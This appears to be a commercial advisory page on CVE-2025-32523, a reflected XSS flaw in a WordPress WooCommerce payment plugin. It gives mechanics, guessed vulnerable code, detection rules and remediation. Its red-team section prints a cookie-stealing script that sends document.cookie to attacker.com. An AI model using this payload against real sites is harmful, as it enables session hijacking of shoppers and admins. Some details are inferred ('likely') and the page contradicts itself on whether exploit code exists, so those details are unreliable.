CVE-2025-32523
Executive Summary
CVE-2025-32523 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WooCommerce – Payphone Gateway plugin (slug: wc-payphone-gateway) for WordPress, developed by Payphone. The vulnerability exists in versions from n/a through 3.2.0. It allows an unauthenticated attacker to inject arbitrary web scripts or HTML via a crafted URL, which will be reflected back to the victim's browser. This can lead to session hijacking, credential theft, or defacement within the context of the victim's WordPress session.
This is a WordPress ecosystem vulnerability, specifically affecting the WooCommerce payment gateway plugin. The plugin is used to integrate Payphone payment processing into WooCommerce stores. No official patch has been released, and no public exploit code or proof-of-concept is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin's update mechanism; users must manually update or rely on the plugin author to release a patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication needed.
- User Interaction (UI): Required – The victim must click a crafted link.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited ability to disrupt service.
Threat Level: High. Despite the low EPSS score (0.0%), the lack of a patch and the widespread use of WooCommerce make this a significant risk for e-commerce sites.
Deep Dive & Mechanics
The vulnerability is a classic Reflected XSS (CWE-79). The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can craft a malicious URL containing JavaScript code in a parameter (likely payphone_response or similar). When a victim clicks the link, the malicious script is executed in their browser.
Root Cause: The plugin likely echoes a GET or POST parameter directly into the HTML output without proper escaping or validation. For example, a parameter like ?status=error&message=<script>alert(1)</script> might be reflected in the page.
Attack Flow:
- Attacker crafts a URL:
https://victimshop.com/?wc-api=payphone_gateway&payphone_response=<script>malicious.js</script> - Victim clicks the link (e.g., via phishing email).
- The plugin processes the request and reflects the
payphone_responseparameter in the response. - The victim's browser executes the injected script.
- The script can steal cookies, redirect to a phishing page, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable pattern. The vulnerable code likely looks like:
// Vulnerable code (example)
$response = $_GET['payphone_response'];
echo "<div class='payphone-message'>$response</div>";
A patched version would use proper escaping:
// Patched code (example)
$response = sanitize_text_field($_GET['payphone_response']);
echo "<div class='payphone-message'>" . esc_html($response) . "</div>";
The esc_html() function in WordPress converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with WooCommerce and the vulnerable plugin (<= 3.2.0) installed.
- A web browser.
Exploitation Steps:
- Identify a vulnerable parameter. Common parameters in payment gateways include
status,message,error,response. - Craft a payload:
<script>alert(document.cookie)</script> - Construct the malicious URL:
https://target.com/?wc-api=payphone_gateway&payphone_response=<script>alert(document.cookie)</script> - Send the link to a victim (e.g., via email or social engineering).
- When the victim clicks, the script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
<script>tags in query parameters. - Use a Web Application Firewall (WAF) to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Apply virtual patching via WAF rules.
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/?wc-api=payphone_gatewaywith suspicious query parameters (e.g.,payphone_response=<script>). - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP requests to
- File IOCs:
- Plugin file:
/wp-content/plugins/wc-payphone-gateway/(version <= 3.2.0).
- Plugin file:
- Log IOCs:
- Web server logs showing
payphone_responseparameter with HTML/JavaScript content.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_32523_Reflected_XSS {
meta:
description = "Detects Payphone Gateway plugin files vulnerable to Reflected XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32523"
strings:
$vuln_func = /echo\s*\$_(GET|POST|REQUEST)\[/
$plugin_id = "wc-payphone-gateway"
condition:
$plugin_id and $vuln_func
}
Sigma Rule
title: Reflected XSS via Payphone Gateway Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting the Payphone Gateway plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
c-uri|contains: 'wc-api=payphone_gateway'
cs-uri-query|contains:
- '<script'
- 'alert('
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of similar parameters in other plugins
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32523 Reflected XSS in Payphone Gateway"; flow:to_server,established; content:"GET"; http_method; content:"wc-api=payphone_gateway"; http_uri; content:"payphone_response"; http_uri; pcre:"/(<script|alert\(|onerror=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Apply virtual patching using a WAF (e.g., ModSecurity rule to block
payphone_responsecontaining<script>). - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html()orwp_kses_post(). - Users should update to the latest version once available.
Workarounds:
- Use a security plugin like Wordfence to add XSS protection.
- Implement CSP headers:
Content-Security-Policy: default-src 'self'; script-src 'self'.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-32523
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.